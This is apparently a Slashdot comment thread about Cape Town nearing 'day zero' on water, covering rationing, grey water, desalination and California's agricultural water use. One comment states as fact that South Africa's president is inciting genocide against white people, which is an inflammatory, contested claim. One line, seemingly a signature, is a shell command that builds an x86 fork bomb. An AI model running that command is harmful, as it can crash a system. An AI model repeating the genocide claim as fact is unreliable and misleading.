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Will Cape Town be the First City To Run Out of Water? (bbc.com)
Cape Town, home to Table Mountain, African penguins, sunshine and sea, is a world-renowned tourist destination. But soon it could also become famous for being the first major city in the world to run out of water. From a report: Most recent projections suggest that its water could run out as early as March. The crisis has been caused by three years of very low rainfall, coupled with increasing consumption by a growing population. The local government is racing to address the situation, with desalination plants to make sea water drinkable, groundwater collection projects, and water recycling programmes. Meanwhile Cape Town's four million residents are being urged to conserve water and use no more than 87 litres (19 gallons) a day. Car washing and filling up swimming pools has been banned.
All my South African friends are now expats and gave swapped their SA citizenship for somewhere else. None of them really want to admit that SA is going the way Zimbabwe went post independence but it looks that way.
E.g. here's President Jacob Zuma singing 'Kill the Boer[white people]'. Bonus - the sign language interpreter obviously doesn't know sign language and is just bluffing
http://limpingchicken.com/2013...
The 'fake' sign language interpreter, at the centre of the world's attention following his bizarre performance at Nelson Mandela's memorial event, has been found interpreting in another video.
This time he's interpreting for Jacob Zuma, the South African President, as he sings a song called 'Kill the Boer'. Despite his now infamous short-comings as an interpreter, there is no mistaking his sign for machine gun!
Mr Zuma has since said that he'll stop singing the song to avoid creating racial tension.
'Kill the Boer' is actually illegal under SA hate speech laws, though the ruling ANC will appeal. And regardless of how that appeal goes, they'll keep singing it
https://www.dailymaverick.co.z...
Finally, on Friday March 26th 2010, the question of the legality of the phrase was brought before a South African court. According to Acting Judge Leon Halgryn of the South Gauteng High Court, it is now unconstitutional to utter or sing the phrase "dubul'ibhunu" ("shoot the boer") in the country. Halrgyn ruled that the phrase amounts to hate speech, and is therefore not protected by section 16 of the constitution, which safeguards freedom of speech.
https://www.dailymaverick.co.z...
So you've got President inciting genocide against white people and the people around him are too dumb or corrupt to hire someone who can do sign language.
Yup, if I was a South African I'd be looking for a passport someplace else too.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I was thinking the same thing, but then I started looking a little harder at this. I was a bit shocked to see that someone that takes a shower every day has already used around 17 gallons of water. Flush your toilet once and you've just used the last two gallons of your ration for the day!
Then there's all sorts of other household overhead like washing dishes and clothes, cooking, and more. And you still haven't drank even your first glass of water for the day. (half a gallon is recommended every day, but that can include beverages)
We use (waste?) a lot of water every day. I'd like to see reuse of "grey water" become commonplace or even required. Most water could be reused in the toilet for example. Most "washers" (be they people, clothes, dishes, etc) are used to flush away contaminants, but then we don't bother to filter and reuse the water, we just dump it just like it is right down the drain, which is a huge waste.
I work for the Department of Redundancy Department.
Actually, California has fared reasonably well, and has a sustainable approach to water management in general. There are some things that still need to change, and much that needs to be hardened and reformed, but they are on their way to it. California's biggest water risk is really an earthquake damaging the aqueducts, pipelines, and reservoirs.
Desalinization is a last-resort for a seaside city. It is much more efficient to trade resources with a water-rich area to serve a water-poor area than it is to run desalinization. Ultimately, to make desal not kill the local environment you need zero brine discharge which requires huge evaporation ponds. If done right, this could help to add humidity and manage the problem longer term, but you end up with about 100 tons of waste salts per million gallons of sea water.
They're not doing enough, quick-enough and what happens in Cape Town could be a model for what is inevitably going to hit California eventually if they don't start working on better solutions.
Some areas of California (Santa Barbara), which depend on local water supplies (like Cape Town) have faced this problem before (SB built a desalinization plant in the 1970s). Localities that depended on local ground water supplies have been hit by the drought, and required alternate supplies. But California is a big state. Scattered local problems do not add up to a general problem for California
In general California was plenty of water for its cities and towns, which only use 20% of the available water but produce 98% of its GDP. Agriculture, that use 80% of the water supplies only 2% of the GDP. So simply paying off farmers not to grow something can supply all of the urban water California will ever need.
The number one agricultural user of water (22% of all agricultural water usage) is a crop - alfalfa - that provides so little value that it often costs more to deliver the water than the alfalfa crop is worth (and 2/3 of that crop is simply exported to Asia), ancient water rights from the 19th century are the reason for this subsidy. Paying off all the alfalfa growers not to grow anything would only cost 0.1% of the state's GDP and double the amount of water available to the cities.
Starships were meant to fly, Hands up and touch the sky - Nicky Minaj
Or 10 gallons if it's a Navy Shower.
10 gallons??? Listen sonny boy, back in my day we'd get NJP for wasting that much water.
Here is a "real" navy shower:
1. Turn water on and get wet
2. Turn off the water, and then soap up face, hands, and groin.
3. Turn water on and rinse.
4. Turn off the water and dry off.
5. Wait a week for your next shower rotation.
Even when the water was on, it wasn't much more than a trickle.
We'd use 3 gallons, tops. And this was on a gator. Submariners have it much worse. They can do it with one gallon, and would consider 3 gallons to be a "Hollywood shower".
Semper Fi.
With nearly 300 comments already, I'm not sure there's a point in posting, but...
Los Angeles ran out of water decades ago. Or they would have if they hadn't built aqueducts to bring water from Mono Lake and the Colorado River.
Santa Barbara nearly ran out of water. They started to build a desalinization plant. Then one rain storm refilled their primary source of water. They cancelled the plant and sold the equipment to one of the dunes countries IIRC.
The real question should be why did Cape Town wait so long to start dealing with it?